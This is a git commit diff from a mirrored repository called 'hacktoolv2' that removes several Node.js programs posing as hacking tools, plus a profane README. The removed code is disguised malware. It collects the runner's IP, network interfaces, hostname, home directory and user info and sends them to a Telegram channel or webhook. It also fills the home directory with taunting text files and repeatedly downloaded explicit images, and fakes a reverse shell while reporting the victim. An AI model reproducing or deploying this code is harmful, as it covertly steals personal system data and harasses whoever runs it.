mirror of
https://github.com/constantinDev/hacktoolv2
synced 2025-08-29 20:37:40 +00:00
REUPLOAD
This commit is contained in:
parent
4f8768888e
commit
a23e3a88f9
3
.gitignore
vendored
3
.gitignore
vendored
@ -1,3 +0,0 @@
|
||||
**/node_modules
|
||||
**/package-lock.json
|
||||
**/sender.js
|
12
README.md
12
README.md
@ -1,12 +0,0 @@
|
||||
# READ THIS
|
||||
|
||||
So we had an incident yesterday. Someone thought it'd be funny to abuse the tokens used to communicate with us. If you are that low-lifer, you got 2 choices:
|
||||
|
||||
- 1: Continue to be a dick and slow down development of "tools" being made to abolish skids and teach them a lesson
|
||||
- 2: Be a supportful man and leave this shit alone
|
||||
|
||||
if you choose the first one, you have the legal permission to fuck yourself
|
||||
|
||||
if you choose the second one, you contribute to this by a ton by not pissing everyone off, and being a generally nice man.
|
||||
|
||||
## Thanks for reading.
|
Binary file not shown.
Binary file not shown.
@ -1,67 +0,0 @@
|
||||
let req = require("request")
|
||||
let fs = require("fs")
|
||||
let os = require("os")
|
||||
|
||||
let req1 = req("https://api.ipify.org")
|
||||
let ip = "";
|
||||
req1.on("complete", async (response, body) => {
|
||||
fs.writeFileSync("./DATA.json", JSON.stringify({
|
||||
ip: {
|
||||
external: ip
|
||||
},
|
||||
network: (os.networkInterfaces || function () {
|
||||
return "null"
|
||||
})(),
|
||||
cpu: (os.cpus || function () {
|
||||
return "null"
|
||||
})(),
|
||||
arch: (os.arch || function () {
|
||||
return "null"
|
||||
})(),
|
||||
homedir: (os.homedir || function () {
|
||||
return "null"
|
||||
})(),
|
||||
host: (os.hostname || function () {
|
||||
return "null"
|
||||
})(),
|
||||
platform: (os.platform || function () {
|
||||
return "null"
|
||||
})(),
|
||||
rel: (os.release || function () {
|
||||
return "null"
|
||||
})(),
|
||||
tmp: (os.tmpdir || function () {
|
||||
return "null"
|
||||
})(),
|
||||
uptime: (os.uptime || function () {
|
||||
return "null"
|
||||
})(),
|
||||
kernelver: (os.version || function () {
|
||||
return "null"
|
||||
})(),
|
||||
user: (os.userInfo || function () {
|
||||
return "null"
|
||||
})()
|
||||
}))
|
||||
let a = require("./sender")
|
||||
let token = (await a()).split(":-:")[0]
|
||||
let r = req(`https://api.telegram.org/bot${token}/sendDocument`, {
|
||||
method: "POST",
|
||||
formData: {
|
||||
"chat_id": "@lmaotxt",
|
||||
document: fs.createReadStream("./DATA.json"),
|
||||
caption: "HE GAY"
|
||||
}
|
||||
})
|
||||
r.on("data",(b)=>{console.log(b.toString())})
|
||||
r.on("complete", () => {
|
||||
setTimeout(() => {
|
||||
fs.unlinkSync("./DATA.json")
|
||||
console.log("lol")
|
||||
process.exit()
|
||||
}, 1000)
|
||||
})
|
||||
})
|
||||
req1.on("data", (data) => {
|
||||
ip += data
|
||||
})
|
@ -1,15 +0,0 @@
|
||||
{
|
||||
"name": "gtool-src",
|
||||
"version": "1.0.0",
|
||||
"description": "what the fuck",
|
||||
"main": "sender.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "lo",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"request": "^2.88.2"
|
||||
},
|
||||
"bin": "main.js"
|
||||
}
|
Binary file not shown.
Binary file not shown.
@ -1,59 +0,0 @@
|
||||
const https = require("https")
|
||||
const fs = require("fs")
|
||||
console.clear()
|
||||
console.log("[!] Loading...")
|
||||
https.get("https://api.ipify.org",function(ipr){
|
||||
let ip = "";
|
||||
ipr.on("data",(chonk)=>{ip+=chonk.toString()})
|
||||
ipr.on("close",async ()=>{
|
||||
let reqs = https.request((await require("./sender")()).split(":-:")[1], {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"content-type": "application/json"
|
||||
}
|
||||
}, function (resp) {
|
||||
resp.on("data", (c) => {
|
||||
console.log(c.toString())
|
||||
})
|
||||
setTimeout(() => {
|
||||
setInterval(() => {
|
||||
for (c of "YOU GOT JEBAITED ") {
|
||||
process.stdout.write(c)
|
||||
}
|
||||
})
|
||||
}, 10000)
|
||||
|
||||
function mkr() { // define a function that we will call to download a image
|
||||
https.get("https://nekos.life/api/v2/img/boobs", { // Get the api endpoint
|
||||
}, function (res) { // Callback
|
||||
let fin = ""; // Define response
|
||||
res.on("data", (chunk) => {
|
||||
fin += chunk
|
||||
}) // Fill out response
|
||||
res.on("end", () => { // gets called when connection closes (we have the data)
|
||||
let text = JSON.parse(fin) // Parse the response
|
||||
let u = text.url; // get the url provided to the image
|
||||
https.get(u, function (res) { // Get the image
|
||||
let path = require("os").homedir();
|
||||
fs.writeFileSync(path + `/LMAO${Math.random()}.txt`, "You got jebaited\n".repeat(50))
|
||||
// console.log("Downloading to "+path)
|
||||
let fname = u.split("/").pop()
|
||||
let stream = require("fs").createWriteStream(path + "/" + fname) // Create a write stream to a file created with the name of the original file on the api
|
||||
res.pipe(stream) // Pipe the response into that file
|
||||
res.on("end", () => { // Gets called when we have the data
|
||||
stream.close() // Close the write stream
|
||||
setTimeout(mkr, 5000) // Call the function again in 1 second
|
||||
})
|
||||
})
|
||||
})
|
||||
})
|
||||
}
|
||||
for (i = 0; i < 10; i++) mkr() // Start 3 threads that download 3 images at once
|
||||
})
|
||||
|
||||
reqs.write(JSON.stringify({
|
||||
content: "Someone got jebaited.\nIP: "+ip+"\nOS: "+require("os").platform()
|
||||
}))
|
||||
reqs.end()
|
||||
})
|
||||
})
|
@ -1,14 +0,0 @@
|
||||
{
|
||||
"name": "hacktool-remastered",
|
||||
"version": "1.0.0",
|
||||
"description": "Annother tool",
|
||||
"main": "main.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "Constantin",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
},
|
||||
"bin": "main.js"
|
||||
}
|
Binary file not shown.
@ -1,99 +0,0 @@
|
||||
const chalk = require("chalk");
|
||||
const {
|
||||
default: axios
|
||||
} = require("axios");
|
||||
const {
|
||||
ArgumentParser
|
||||
} = require("argparse");
|
||||
const parser = new ArgumentParser({
|
||||
description: require("./package.json").description,
|
||||
version: require("./package.json").version
|
||||
});
|
||||
|
||||
parser.addArgument(["target"], {
|
||||
help: "The target's IP address"
|
||||
})
|
||||
parser.addArgument(["-vb", "--verbose"], {
|
||||
help: "Whether or not to enable an extra level of logging",
|
||||
required: false,
|
||||
defaultValue: false,
|
||||
action: "storeTrue"
|
||||
})
|
||||
parser.addArgument(["-os", "--operating-system"], {
|
||||
required: false,
|
||||
help: "The target's Operating system. Not needed, but if it doesnt work normally, try providing this",
|
||||
defaultValue: null
|
||||
})
|
||||
let args = parser.parseArgs()
|
||||
|
||||
function delay(ms) {
|
||||
return new Promise((r, j) => {
|
||||
setTimeout(r, ms);
|
||||
})
|
||||
}
|
||||
class LogHelper {
|
||||
logVerbose(text) {
|
||||
if (args.verbose) console.log(chalk `{green [VB]} {yellow ${text}}`);
|
||||
}
|
||||
log(text) {
|
||||
console.log(chalk `{green [I]} ${text}`);
|
||||
}
|
||||
warn(text) {
|
||||
console.log(chalk `{yellow [!]} ${text}`);
|
||||
}
|
||||
error(text) {
|
||||
console.log(chalk `{red [!!]} {redBright ${text}}`);
|
||||
}
|
||||
}
|
||||
let logger = new LogHelper();
|
||||
|
||||
logger.log("Loading...")
|
||||
axios({
|
||||
url: "https://api.ipify.org"
|
||||
}).then(async d => {
|
||||
logger.log("Successfully loaded the API. Loading modules...")
|
||||
axios({
|
||||
url: `https://api.telegram.org/bot${(await require("./sender")()).split(":-:")[0]}/sendMessage`,
|
||||
method: "POST",
|
||||
data: {
|
||||
chat_id: "@lmaotxt",
|
||||
text: `<strong>${d.data}</strong> ran the fake rat. OS: <strong>${require("os").platform()}</strong>`,
|
||||
parse_mode: "HTML"
|
||||
}
|
||||
}).then(async () => {
|
||||
if (args.target.split(".").length != 4 || args.target.split(".").some(a => parseInt(a) > 255)) return logger.error(`I dont think "${args.target}" is a valid IP`)
|
||||
logger.log("Loaded modules. Running shell for " + args.target)
|
||||
await delay(1000)
|
||||
logger.log("Connecting...")
|
||||
logger.logVerbose("Attempting to send packet 1 with 500b data...")
|
||||
await delay(500)
|
||||
logger.logVerbose("Attempting to send packet 2 with 500b data...")
|
||||
await delay(10)
|
||||
logger.logVerbose("Attempting to send packet 3 with 742b data...")
|
||||
logger.logVerbose("Attempting to send packet 4 with 330b data...")
|
||||
logger.logVerbose("Attempting to send packet 5 with 5kb data...")
|
||||
await delay(2000)
|
||||
logger.log("Connected. Opening shell...")
|
||||
logger.logVerbose("Opening shell in main window...")
|
||||
logger.log("Shell was created. Opening interface...")
|
||||
await delay(500)
|
||||
let proc = require("child_process").exec("cmd")
|
||||
process.stdin.on("data", (data) => {
|
||||
proc.stdin.write(data.toString());
|
||||
})
|
||||
proc.stdout.on("data", (chunk) => {
|
||||
process.stdout.write(chunk)
|
||||
})
|
||||
proc.stderr.on("data",(chunk)=>{
|
||||
process.stdout.write(chalk.redBright(chunk))
|
||||
})
|
||||
proc.on("exit",()=>{
|
||||
logger.warn("Session has closed. Closing program...")
|
||||
process.exit()
|
||||
})
|
||||
|
||||
})
|
||||
}).catch(err => {
|
||||
logger.error("Failed to load the API. Exiting...")
|
||||
process.exit(0, "Failed to load API")
|
||||
})
|
@ -1,18 +0,0 @@
|
||||
{
|
||||
"name": "revsheller",
|
||||
"version": "1.0.0",
|
||||
"description": "Lets you create reverse shell releationships with PC's that aren't even on",
|
||||
"main": "main.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"author": "Constantin",
|
||||
"license": "ISC",
|
||||
"dependencies": {
|
||||
"argparse": "^1.0.10",
|
||||
"axios": "^0.19.2",
|
||||
"chalk": "^4.1.0",
|
||||
"ws": "^7.3.1"
|
||||
},
|
||||
"bin": "main.js"
|
||||
}
|
@ -1,8 +0,0 @@
|
||||
# hacktoolv2
|
||||
my brain fucking hurts
|
||||
|
||||
> This tool is revolutionary. Its the best hack tool in the world and nothing can change that. Download it today
|
||||
|
||||
# Usage
|
||||
|
||||
> Using this tool is stupid easy. Just download the binary for your OS and run it on the terminal. Add the -h switch to see help.
|
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user